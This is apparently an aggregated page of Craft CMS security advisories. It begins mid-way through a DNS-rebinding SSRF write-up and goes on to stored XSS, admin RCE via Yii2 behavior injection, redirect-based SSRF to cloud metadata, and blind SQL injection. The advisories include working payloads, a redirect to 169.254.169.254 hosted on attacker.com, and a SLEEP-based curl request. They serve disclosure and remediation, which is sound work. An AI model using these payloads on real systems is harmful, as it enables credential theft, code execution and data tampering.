+-----------------------------------------------------------------------------+ | Attacker's DNS Server: evil.attacker.com | +-----------------------------------------------------------------------------+ | Query 1 (Validation - T1): | | Request: A record for evil.attacker.com | | Response: 1.2.3.4 (safe IP, TTL: 0) | | Result: Validation PASSES | +-----------------------------------------------------------------------------+ | Query 2 (Guzzle Request - T2): | | Request: A record for evil.attacker.com | | Response: 169.254.169.254 (metadata IP, TTL: 0) | | Result: Request goes to blocked IP -> CREDENTIALS STOLEN | +-----------------------------------------------------------------------------+

---

Target Endpoints via DNS Rebinding

DNS rebinding allows access to all blocked IPs:

| Target | Rebind To | Impact | |--------|-----------|--------| | AWS IMDS | 169.254.169.254 | IAM credentials, instance identity | | AWS ECS | 169.254.170.2 | Container credentials | | GCP Metadata | 169.254.169.254 | Service account tokens | | Azure Metadata | 169.254.169.254 | Managed identity tokens | | Alibaba Cloud | 100.100.100.200 | Instance credentials | | Oracle Cloud | 192.0.0.192 | Instance metadata | | Internal Services | 127.0.0.1, 10.x.x.x | Internal APIs, databases |

---

Attack Scenario

1. Attacker sets up DNS server with alternating responses 2. Attacker sends mutation with url: "http://evil.attacker.com/latest/meta-data/" 3. First DNS query returns safe IP (e.g., 1.2.3.4) → validation passes 4. Second DNS query returns metadata IP (169.254.169.254) → request to metadata 5. Attacker retrieves credentials from ANY cloud provider 6. Attacker can now achieve code execution by creating new instances with their SSH key

---

Remediation

Fix: DNS Pinning with CURLOPTRESOLVE

Pin the DNS resolution - use the same resolved IP for both validation and request:

php private function validateHostname(string $url): bool { $hostname = parseurl($url, PHPURLHOST);

// Resolve once $ip = gethostbyname($hostname);

// Validate the resolved IP if (inarray($ip, [ '169.254.169.254', '169.254.170.2', '100.100.100.200', '192.0.0.192', ])) { return false; }

// Store for later use $this->pinnedDNS[$hostname] = $ip;

return true; }

// When making the request - CRITICAL: Use pinned IP protected function makeRequest(string $url): ResponseInterface { $hostname = parseurl($url, PHPURLHOST); $ip = $this->pinnedDNS[$hostname] ?? null;

$options = []; if ($ip) { // Force Guzzle/curl to use the SAME IP we validated $options['curl'] = [ CURLOPTRESOLVE => [ "$hostname:80:$ip", "$hostname:443:$ip" ] ]; }

return $this->client->get($url, $options); }

Alternative: Single Resolution with Immediate Use

php // Resolve to IP and use IP directly in URL $ip = gethostbyname($hostname);

if (inarray($ip, $blockedIPs)) { return false; }

// Make request directly to IP with Host header $client->get("http://$ip" . parseurl($url, PHPURLPATH), [ 'headers' => [ 'Host' => $hostname ] ]);

Additional Mitigations

| Mitigation | Description | |------------|-------------| | DNS Pinning (CURLOPTRESOLVE) | Force same IP for validation and request | | Single IP-based request | Use resolved IP directly in URL | | Implement IMDSv2 | Requires token header (infrastructure-level) | | Network egress filtering | Block metadata IPs at network level |

---

Resources

- https://github.com/craftcms/cms/commit/a4cf3fb63bba3249cf1e2882b18a2d29e77a8575 - GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437) - DNSrebinder - Lightweight Python DNS server for testing DNS rebinding vulnerabilities; responds with legitimate IP for first N queries, then rebinds to target IP - Singularity DNS Rebinding Tool - rbndr DNS Rebinding Service - DNS Rebinding Attacks Explained - CURLOPTRESOLVE Documentation - OWASP SSRF Prevention Cheat Sheet

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
EPSS
0.01%
XSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

A stored Cross-site Scripting (XSS) vulnerability exists in the editableTable.twig component when using the html column type. The application fails to sanitize the input, allowing an attacker to execute arbitrary JavaScript when another user views a page with the malicious table field.

Prerequisites An administrator account allowAdminChanges must be enabled in production, which is against our security recommendations.

Steps to Reproduce 1. Navigate to Settings → Fields and create a new field with Type: Table 1. Add a Column Heading and set Column Type to Single-line text - Note: The vulnerable Column Type is html, but it's not available in the UI dropdown. 1. In Default Values section, add a row with the following payload: html <img src=x onerror="alert('XSS')"> 1. Enable Static Rows 1. Intercept the Save Field request using a proxy tool (e.g., Burp Suite) or use cURL directly 1. Modify the request body and change the types[craft-fields-Table][columns][col3][type] parameter from singleline to html 1. Forward the request to save the field 1. Use the field in any object (e.g. user profile fields) → then visit the any user's profile 1. Notice the XSS execution 1. The XSS will also trigger when an administrator attempts to edit this field, as the malicious payload is executed within the field configuration page, too.

Resources

https://github.com/craftcms/cms/commit/f5d488d9bb6eff7670ed2c2fe30e15692e92c52b

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
EPSS
0.01%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Stored XSS via Entry Type names. The name is not sanitized when displayed in the Entry Types list.

--- Proof of Concept

Required Permissions (Attacker)

- Admin access (only admins have access to the settings page) - allowAdminChanges is enabled in production, which is against our security recommendations.

Steps to Reproduce 1. Log in as an attacker. 2. Go to Settings -> Entry Types (/admin/settings/entry-types). 3. Create a new Entry Type. 4. Set Name to: html <img src=x onerror="alert('XSS-EntryTypes')" hidden> 5. Save the Entry Type, and you’ll be redirected back to the entry types table automatically. 6. Notice the alert fires when the entry types table renders.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
EPSS
0.18%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Relationship to Previously Patched Vulnerability

This vulnerability is in addition to the RCE vulnerability patched in GHSA-255j-qw47-wjh5. That advisory addressed a similar RCE vulnerability that affected two specific routes:

- /index.php?p=admin%2Factions%2Ffields%2Fapply-layout-element-settings - /index.php?p=admin%2Factions%2Ffields%2Frender-card-preview

This one addresses some additional endpoints that were not covered in the https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5.

The patched vulnerability used a malicious AttributeTypecastBehavior with a wildcard event listener ("on ": "self::beforeSave") and construct() syntax to trigger RCE via the typecastBeforeSave callback. The fix was implemented in commits: - 6e608a1 - 27f5588 - ec43c49

This vulnerability follows the same attack pattern (behavior injection via "as <behavior>" syntax) but affects a different code path (assembleLayoutFromPost() in Fields.php) that was not patched in those commits. The attack vector uses typecastAfterValidate instead of typecastBeforeSave and does not require the wildcard event listener syntax, demonstrating that multiple entry points exist for this type of vulnerability.

---

Executive Summary

A Remote Code Execution (RCE) vulnerability exists in Craft CMS where the assembleLayoutFromPost() function in src/services/Fields.php fails to sanitize user-supplied configuration data before passing it to Craft::createObject(). This allows authenticated administrators to inject malicious Yii2 behavior configurations that execute arbitrary system commands on the server. This vulnerability represents an unpatched variant of the behavior injection vulnerability addressed in GHSA-255j-qw47-wjh5, affecting different endpoints through a separate code path.

---

Vulnerability Details

Attack Prerequisites

- Authentication: Admin-level access required - Network Access: Access to admin panel (/admin)

---

Location

- File: src/services/Fields.php - Function: assembleLayoutFromPost() (lines 1125-1143) - Root Cause: Missing cleanseConfig() call on user-supplied fieldLayout POST parameter

Vulnerable Code Path

php // src/services/Fields.php:1125-1133 public function assembleLayoutFromPost(?string $namespace = null): FieldLayout { $paramPrefix = $namespace ? rtrim($namespace, '.') . '.' : ''; $request = Craft::$app->getRequest(); $config = JsonHelper::decode($request->getBodyParam("{$paramPrefix}fieldLayout")); // ... additional config values added ... $layout = $this->createLayout($config); // <-- No cleanseConfig() call! // ... }

// src/services/Fields.php:1089-1093 public function createLayout(array $config): FieldLayout { $config['class'] = FieldLayout::class; return Craft::createObject($config); // <-- Untrusted data passed directly } ---

Attack Chain

The exploitation leverages Yii2's object configuration system and behavior attachment mechanism:

1. Behavior Injection: Attacker includes 'as rce' key in the fieldLayout JSON POST parameter 2. Object Creation: Craft::createObject() processes the config through Yii2's BaseYii::configure() 3. Behavior Attachment: Yii2's Component::set() detects the 'as ' prefix and attaches the behavior 4. RCE Trigger: When validate() is called on the model, EVENTAFTERVALIDATE fires 5. Command Execution: AttributeTypecastBehavior calls the configured typecast function (ConsoleProcessus::execute) with the uid attribute value as the command

RCE Gadget Chain

FieldLayout POST parameter → Craft::createObject() → Yii2 Component::set() with 'as rce' key → AttributeTypecastBehavior attached → Model::validate() called → EVENTAFTERVALIDATE triggered → typecastAfterValidate → typecastAttributes() → calluserfunc(['Psy\Readline\Hoa\ConsoleProcessus', 'execute'], $command) → Shell command execution

---

Affected Controllers

The assembleLayoutFromPost() function is called by multiple admin controllers:

| Controller | Action | Permission Required | |------------|--------|---------------------| | TagsController | actionSaveTagGroup() | Admin | | CategoriesController | actionSaveGroup() | Admin | | EntryTypesController | actionSave() | Admin | | GlobalsController | actionSaveSet() | Admin | | VolumesController | actionSave() | Admin | | UsersController | actionSaveUserFieldLayout() | Admin | | AddressesController | actionSaveAddressFieldLayout() | Admin |

--- References

- https://github.com/craftcms/cms/commit/395c64f0b80b507be1c862a2ec942eaacb353748 - GHSA-255j-qw47-wjh5 - Previously patched RCE vulnerability via behavior injection (affecting different endpoints) - CVE-2024-4990 - Related vulnerability that inspired the behavior injection attack pattern - Yii2 GHSA-gcmh-9pjj-7fp4 - Original Yii framework report (framework team declined to fix at framework level)

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.01%
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

--- Proof of Concept 1. Host a redirect script on your server (e.g. redirect.php): php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> 2. Send the following GraphQL mutation: graphql mutation { saveimagesAsset(file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } 3. The application validates attacker.com (passes) 4. Guzzle follows the redirect to 169.254.169.254 5. Cloud metadata is saved as an asset

--- Mitigation - Disable redirects.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.01%
SQL Injection, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload).

[!NOTE] The ORDER BY clause executes per row. SLEEP(1) on 10 rows = 10s delay.

--- PoC Required Permissions

- Access to the Control Panel

Steps to reproduce 1. Log in to the control panel 2. Navigate to any element index (e.g., Users /admin/users, Entries, Assets, etc.) 3. Intercept the POST request to /index.php?p=admin/actions/element-indexes/get-elements 4. Modify the JSON body to the following: json {"context":"index","elementType":"craft\\elements\\User","source":"","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}} 5. Send the request 6. Observe a delay in the response (delay = rows × sleep time)

Alternatively, you can use the following curl (bash syntax) command (replace cookie, CSRF token, and target domain as needed): bash curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'

Impact

With this Blind SQLi, an attacker can: - Exfiltrate data character-by-character. - Modify or destroy data (drop tables, update records, alter schema).

Root Cause The orderBy parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., (elements.id)) bypasses internal quoting mechanisms.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203